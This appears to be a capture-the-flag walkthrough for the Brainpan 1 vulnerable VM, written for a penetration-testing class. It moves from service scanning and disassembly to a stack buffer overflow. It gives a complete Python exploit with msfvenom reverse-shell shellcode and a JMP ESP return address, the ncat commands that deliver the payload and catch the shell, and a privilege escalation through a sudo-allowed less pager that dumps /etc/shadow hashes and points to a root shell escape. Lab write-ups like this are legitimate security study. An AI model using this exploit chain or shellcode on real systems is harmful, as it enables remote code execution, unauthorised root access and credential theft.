Hacking Challenge: Brainpan 1 - walkthrough
π This article precedes the reboot and might be outdated.
Lately Iβve been doing a lot of penetration testing for one of my master degree classes. This writeup will walk you through the capture the flag challenge Brainpan.
# Table of Contents
# Service discovery
β οΈ Some words of recommendation here. Think very carefully before letting a vulnerable VM on your network.
After finding the host address (192.168.150.128
in this case), we scan
its services.
Β» nmap -sSV -A -T4 192.168.150.128 -p -
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2015-11-13 23:22 GMT
Interesting ports on 192.168.150.128:
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open snet-sensor-mgmt?
[snip]
Nmap finished: 1 IP address (1 host up) scanned in 92.499 seconds
We see two unrecognized services, that we investigate further through netcat
(or one of its siblings).
Behind port 10000
we find a web server:
Β» ncat 192.168.150.128 10000
r
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('r').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
index.html
doesnβt contain anything interesting. Letβs see if dirb
can find
anything else.
Β» dirb http://192.168.150.128:10000
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 13 23:15:44 2015
URL_BASE: http://192.168.150.128:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.150.128:8080/ ----
+ http://192.168.150.128:8080/bin (CODE:301|SIZE:0)
+ http://192.168.150.128:8080/index.html (CODE:200|SIZE:215)
-----------------
END_TIME: Fri Nov 13 23:36:39 2015
DOWNLOADED: 4612 - FOUND: 2
The bin
folder contains a brainpan.exe
file.
# Brainpan access console
Port 9999
hosts a console access prompt.
Β» ncat 192.168.150.128 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> %p
ACCESS DENIED
First I tried a few string format vulnerabilities, but they didnβt work. Then, I passed really long strings to the prompt. A string 500 characters long was fine, but length 550 crashed the program. We can use binary search to find the tipping point: 518 characters.
Now we can analyze the brainpan.exe
file downloaded earlier.
My favorite tool for the job (although Iβm still learning its perks) is
radare2
.
Β» r2 brainpan.exe
-- Rename a function using the 'afr <newname> @ <offset>' command.
[0x31171280]> aaa
[0x31171280]> i
type EXEC (Executable file)
file brainpan.exe
fd 6
size 0x52c6
blksz 0x0
mode r--
block 0x100
format pe
pic false
canary false
nx false
crypto false
va true
bintype pe
class PE32
arch x86
bits 32
machine i386
os windows
subsys Windows CUI
endian little
stripped false
static false
linenum true
lsyms false
relocs true
binsz 21190
compiled Mon Mar 4 15:21:12 2013
Itβs a Windows 32 bit executable; its stack is executable (nx
is false). What
about its strings
?
[0x31171280]> iz
vaddr=0x31173000 paddr=0x00001400 ordinal=000 sz=22 len=21 section=.rdata type=a string=[get_reply] s = [%s]\n
vaddr=0x31173018 paddr=0x00001418 ordinal=001 sz=39 len=38 section=.rdata type=a string=[get_reply] copied %d bytes to buffer\n
vaddr=0x3117303f paddr=0x0000143f ordinal=002 sz=11 len=10 section=.rdata type=a string=shitstorm\n
vaddr=0x3117304c paddr=0x0000144c ordinal=003 sz=665 len=664 section=.rdata type=a string=
vaddr=0x311732e8 paddr=0x000016e8 ordinal=004 sz=41 len=40 section=.rdata type=a string= ACCESS DENIED\n
vaddr=0x31173314 paddr=0x00001714 ordinal=005 sz=42 len=41 section=.rdata type=a string= ACCESS GRANTED\n
vaddr=0x3117333e paddr=0x0000173e ordinal=006 sz=28 len=27 section=.rdata type=a string=[+] initializing winsock...
vaddr=0x3117335a paddr=0x0000175a ordinal=007 sz=28 len=27 section=.rdata type=a string=[!] winsock init failed: %d
vaddr=0x31173376 paddr=0x00001776 ordinal=008 sz=7 len=6 section=.rdata type=a string=done.\n
vaddr=0x31173380 paddr=0x00001780 ordinal=009 sz=32 len=31 section=.rdata type=a string=[!] could not create socket: %d
vaddr=0x311733a0 paddr=0x000017a0 ordinal=010 sz=28 len=27 section=.rdata type=a string=[+] server socket created.\n
vaddr=0x311733bc paddr=0x000017bc ordinal=011 sz=20 len=19 section=.rdata type=a string=[!] bind failed: %d
vaddr=0x311733d0 paddr=0x000017d0 ordinal=012 sz=26 len=25 section=.rdata type=a string=[+] bind done on port %d\n
vaddr=0x311733ea paddr=0x000017ea ordinal=013 sz=30 len=29 section=.rdata type=a string=[+] waiting for connections.\n
vaddr=0x31173408 paddr=0x00001808 ordinal=014 sz=26 len=25 section=.rdata type=a string=[+] received connection.\n
vaddr=0x31173422 paddr=0x00001822 ordinal=015 sz=17 len=16 section=.rdata type=a string=[+] check is %d\n
vaddr=0x31173433 paddr=0x00001833 ordinal=016 sz=22 len=21 section=.rdata type=a string=[!] accept failed: %d
vaddr=0x31173449 paddr=0x00001849 ordinal=017 sz=18 len=17 section=.rdata type=a string=[+] cleaning up.\n
vaddr=0x31173460 paddr=0x00001860 ordinal=018 sz=34 len=33 section=.rdata type=a string=-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32
vaddr=0x31173484 paddr=0x00001884 ordinal=019 sz=45 len=44 section=.rdata type=a string=w32_sharedptr->size == sizeof(W32_EH_SHARED)
vaddr=0x311734b4 paddr=0x000018b4 ordinal=020 sz=49 len=48 section=.rdata type=a string=../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
vaddr=0x311734e8 paddr=0x000018e8 ordinal=021 sz=39 len=38 section=.rdata type=a string=GetAtomNameA (atom, s, sizeof(s)) != 0
[0x31171280]> afl
0x31171280 76 1 entry0
0x31171150 303 8 sym.___mingw_CRTStartup
0x311712cc 16 1 sub.msvcrt.dll__onexit_2cc
0x311712e0 2493 19 sym.___do_sjlj_init
0x31171d10 6 1 sym._malloc
0x31171d18 6 1 sym._abort
0x31171d20 6 1 sym._ExitProcess_4
0x31171d28 6 1 sym._SetUnhandledExceptionFilter_4
0x31171d30 6 1 sub.KERNEL32.dll_GetAtomNameA_d30
0x31171d38 6 1 sub.KERNEL32.dll_FindAtomA_d38
0x31171d40 6 1 sub.KERNEL32.dll_AddAtomA_d40
0x31171d48 17 1 fcn.31171d48
0x31171cd8 6 1 sym._memset
0x31171ce0 6 1 sym._strcmp
0x31171ce8 6 1 sym._strlen
0x31171cf0 6 1 sym._strcpy
0x31171cf8 6 1 sym._printf
0x31171d00 6 1 sym.__assert
0x31171d08 6 1 sym._free
0x31171ca0 6 1 sub.msvcrt.dll___set_app_type_ca0
0x31171ca8 6 1 sym.__cexit
0x31171cb0 6 1 sym.___p__environ
0x31171cb8 6 1 sym._signal
0x31171cc0 6 1 sym.___p__fmode
0x31171cc8 6 1 sym.__setmode
0x31171cd0 6 1 sym.___getmainargs
0x31171000 323 26 section..text
0x31171143 316 8 fcn.31171143
0x000050f8 551 67 fcn.000050f8
We start the disassembling process from sym.___mingw_CRTStartup
and find the
βrealβ main is at symbol sym._main
.
[0x31171280]> pdf @ sym._main
Do you want to print 745 lines? (y/N)
# I'll only show the interesting parts.
# Read the client's password.
β β β β 0x311715d5 e836010000 sym._recv_16 () ;sym.___do_sjlj_init() ; sym._recv_16
β β β β 0x311715da 83ec10 esp -= 0x10
β β β β 0x311715dd 8d8508fcffff eax = [ebp - 0x3f8]
β β β β 0x311715e3 890424 dword [esp] = eax
β β β β 0x311715e6 e811fdffff sym._get_reply () ;sym.___do_sjlj_init() ; sym._get_reply
# And compare it against "shitstorm", bingo!
β β ;-- sym._get_reply:
β β 0x311712fc 55 push ebp
β β 0x311712fd 89e5 ebp = esp
β β 0x311712ff 81ec18020000 esp -= 0x218
β β 0x31171305 8b4508 eax = dword [ebp + 8] ; [0x8:4]=4
β β 0x31171308 89442404 dword [esp + 4] = eax ; [0x4:4]=3
β β 0x3117130c c70424003017. dword [esp] = str._get_reply__s_____s__n ; [0x31173000:4]=0x7465675b ; "[get_reply] s = [%s]." @ 0x31173000
β β 0x31171313 e8e0090000 sym._printf () ;sym._printf()
β β 0x31171318 8b4508 eax = dword [ebp + 8] ; [0x8:4]=4
β β 0x3117131b 89442404 dword [esp + 4] = eax ; [0x4:4]=3
β β 0x3117131f 8d85f8fdffff eax = [ebp - 0x208]
β β 0x31171325 890424 dword [esp] = eax
β β 0x31171328 e8c3090000 sym._strcpy () ;sym._strcpy()
β β 0x3117132d 8d85f8fdffff eax = [ebp - 0x208]
β β 0x31171333 890424 dword [esp] = eax
β β 0x31171336 e8ad090000 sym._strlen () ;sym._strlen()
β β 0x3117133b 89442404 dword [esp + 4] = eax ; [0x4:4]=3
β β 0x3117133f c70424183017. dword [esp] = str._get_reply__copied__d_bytes_to_buffer_n ; [0x31173018:4]=0x7465675b ; "[get_reply] copied %d bytes to buffer." @ 0x31173018
β β 0x31171346 e8ad090000 sym._printf () ;sym._printf()
β β 0x3117134b 8d85f8fdffff eax = [ebp - 0x208]
β β 0x31171351 c74424043f30. dword [esp + 4] = str.shitstorm_n ; [0x3117303f:4]=0x74696873 ; "shitstorm." @ 0x3117303f
β β 0x31171359 890424 dword [esp] = eax
β β 0x3117135c e87f090000 sym._strcmp () ;sym._strcmp()
β β 0x31171361 c9
β β 0x31171362 c3
I should have tried βshitstormβ in the first place, after noticing it in the strings section. Anyway:
Β» nc 192.168.150.128 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> shitstorm
ACCESS GRANTED
Access granted! What now? The server closes the connection once access is granted, so nothing else here.
# A buffer overflow
After running the Windows executable in a Windows XP virtual machine I tried a few things. First, I knew that the console would crash by providing a reasonably large input string.
So I started debugging the executable by using a mix of radare2
and
ollydbg
; they both are awesome tools, by the way.
All the premises smelled of a buffer overflow attack. I never performed such an
attack so I started from the basics, reading and studying online. The first 5
levels of the SmashTheStack IO were of great
help too.
While performing the attack I followed this guide, perfect for the job. I encourage you to read it over to follow along.
First we check whether we can overwrite both the EIP
and ESP
registers. In
particular, overwriting those registers and having access to a JMP ESP
instruction would let us create a reliable attack and execute arbitrary
payloads. The author of the challenge left us what we need inside an unreachable
function, _winkwink
:
β β ;-- sym._winkwink:
β β 0x311712f0 55 push ebp
β β 0x311712f1 89e5 ebp = esp
β β 0x311712f3 ffe4 goto esp <<- Eureka!
β β 0x311712f5 ffe1 goto ecx
β β 0x311712f7 5b pop ebx
β β 0x311712f8 5b pop ebx
β β 0x311712f9 c3
β β 0x311712fa 5d pop ebp
β β 0x311712fb c3
I then used two of the Metasploit framework tools (./exploit/pattern_create.rb
and ./exploit/pattern_offset.rb
) to generate a distinguishable pattern and
find the offsets at which the registers were being overwritten. Finally, I used
msfvenom
to generate an appropriate shellcode, containing the instructions
needed to bind a reverse shell to my host.
I was able to craft a small Python script in order to reliably generate the payload and avoid accidental errors.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
BEFORE_EIP = 524
BEFORE_ESP = 528 # Actually, this is unused because the GAP is filled with the EIP address.
EIP_REVERSED_ADDRESS = b"\xf3\x12\x17\x31" # From the winkwink function, to replace EIP
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.150.126 LPORT=9090 -f python -b "\x00" -a x86 --platform Windows
SHELL_CODE = b"\xdb\xc2\xd9\x74\x24\xf4\xba\xb4\x35\xd8\xf4\x5e\x29"
SHELL_CODE += b"\xc9\xb1\x52\x31\x56\x17\x83\xee\xfc\x03\xe2\x26\x3a"
SHELL_CODE += b"\x01\xf6\xa1\x38\xea\x06\x32\x5d\x62\xe3\x03\x5d\x10"
SHELL_CODE += b"\x60\x33\x6d\x52\x24\xb8\x06\x36\xdc\x4b\x6a\x9f\xd3"
SHELL_CODE += b"\xfc\xc1\xf9\xda\xfd\x7a\x39\x7d\x7e\x81\x6e\x5d\xbf"
SHELL_CODE += b"\x4a\x63\x9c\xf8\xb7\x8e\xcc\x51\xb3\x3d\xe0\xd6\x89"
SHELL_CODE += b"\xfd\x8b\xa5\x1c\x86\x68\x7d\x1e\xa7\x3f\xf5\x79\x67"
SHELL_CODE += b"\xbe\xda\xf1\x2e\xd8\x3f\x3f\xf8\x53\x8b\xcb\xfb\xb5"
SHELL_CODE += b"\xc5\x34\x57\xf8\xe9\xc6\xa9\x3d\xcd\x38\xdc\x37\x2d"
SHELL_CODE += b"\xc4\xe7\x8c\x4f\x12\x6d\x16\xf7\xd1\xd5\xf2\x09\x35"
SHELL_CODE += b"\x83\x71\x05\xf2\xc7\xdd\x0a\x05\x0b\x56\x36\x8e\xaa"
SHELL_CODE += b"\xb8\xbe\xd4\x88\x1c\x9a\x8f\xb1\x05\x46\x61\xcd\x55"
SHELL_CODE += b"\x29\xde\x6b\x1e\xc4\x0b\x06\x7d\x81\xf8\x2b\x7d\x51"
SHELL_CODE += b"\x97\x3c\x0e\x63\x38\x97\x98\xcf\xb1\x31\x5f\x2f\xe8"
SHELL_CODE += b"\x86\xcf\xce\x13\xf7\xc6\x14\x47\xa7\x70\xbc\xe8\x2c"
SHELL_CODE += b"\x80\x41\x3d\xe2\xd0\xed\xee\x43\x80\x4d\x5f\x2c\xca"
SHELL_CODE += b"\x41\x80\x4c\xf5\x8b\xa9\xe7\x0c\x5c\x16\x5f\x98\xe2"
SHELL_CODE += b"\xfe\xa2\xa4\x39\x7d\x2b\x42\x57\x91\x7a\xdd\xc0\x08"
SHELL_CODE += b"\x27\x95\x71\xd4\xfd\xd0\xb2\x5e\xf2\x25\x7c\x97\x7f"
SHELL_CODE += b"\x35\xe9\x57\xca\x67\xbc\x68\xe0\x0f\x22\xfa\x6f\xcf"
SHELL_CODE += b"\x2d\xe7\x27\x98\x7a\xd9\x31\x4c\x97\x40\xe8\x72\x6a"
SHELL_CODE += b"\x14\xd3\x36\xb1\xe5\xda\xb7\x34\x51\xf9\xa7\x80\x5a"
SHELL_CODE += b"\x45\x93\x5c\x0d\x13\x4d\x1b\xe7\xd5\x27\xf5\x54\xbc"
SHELL_CODE += b"\xaf\x80\x96\x7f\xa9\x8c\xf2\x09\x55\x3c\xab\x4f\x6a"
SHELL_CODE += b"\xf1\x3b\x58\x13\xef\xdb\xa7\xce\xab\xec\xed\x52\x9d"
SHELL_CODE += b"\x64\xa8\x07\x9f\xe8\x4b\xf2\xdc\x14\xc8\xf6\x9c\xe2"
SHELL_CODE += b"\xd0\x73\x98\xaf\x56\x68\xd0\xa0\x32\x8e\x47\xc0\x16"
payload = b"A" * BEFORE_EIP
payload += EIP_REVERSED_ADDRESS
payload += b"\x90" * 16
payload += SHELL_CODE
with open("payload", "wb") as payload_f:
payload_f.write(payload)
payload_f.flush()
I logged into the machine and, from another console, I started a netcat
listener. Then, I sent the payload to the console.
Β» ncat 192.168.150.128 9999 < payload
# And on another console...
Β» ncat -nvlp 9090
Connection from 192.168.150.128 port 9090 [tcp/*] accepted
CMD Version 1.4.1
Z:\home\puck>
Why, this is a bit strange. Itβs a Linux machine running an emulated Windows executable through WINE. I was getting a DOS terminal inside a Linux box!
Anyway, getting a βrealβ shell was easy. After moving to the /bin
directory I
could execute files in that folder as if they were in the path. I executed
bash
and I launched a Python reverse shell (again) toward my machine, getting
a full tty-equipped shell.
# Privilege escalation
I started with the privilege escalation tricks I know. Specifically, sudo -l
:
$ sudo -l
sudo -l
$ Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
So we are able to execute that file as superuser. Interesting.
$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
After a few tries something hit my mind. The manual
command was obviously
displaying the manual piping it through less
, with root
privileges. I dug
through the less
manual and discovered that I could navigate through any file
I wanted with the :e FILE
command. As a result, I displayed the content of the
/etc/shadow
file.
root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZaDioh0:15768:0:99999:7:::
daemon:*:15768:0:99999:7:::
bin:*:15768:0:99999:7:::
sys:*:15768:0:99999:7:::
lp:*:15768:0:99999:7:::
mail:*:15768:0:99999:7:::
news:*:15768:0:99999:7:::
uucp:*:15768:0:99999:7:::
proxy:*:15768:0:99999:7:::
www-data:*:15768:0:99999:7:::
backup:*:15768:0:99999:7:::
list:*:15768:0:99999:7:::
irc:*:15768:0:99999:7:::
gnats:*:15768:0:99999:7:::
nobody:*:15768:0:99999:7:::
libuuid:!:15768:0:99999:7:::
syslog:*:15768:0:99999:7:::
messagebus:*:15768:0:99999:7:::
reynard:$6$h54J.qxd$yL5md3J4dONwNl.36iA.mkcabQqRMmeZ0VFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7:::
anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1lyDGIPE1:15768:0:99999:7:::
puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEmbIcBF9Oi7q2eAi0TMMqOhg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::
The challenge was to get this file and to ignore the flag. But, at this point,
we could have just dropped a shell through less
(! /bin/bash
) and gained
root
.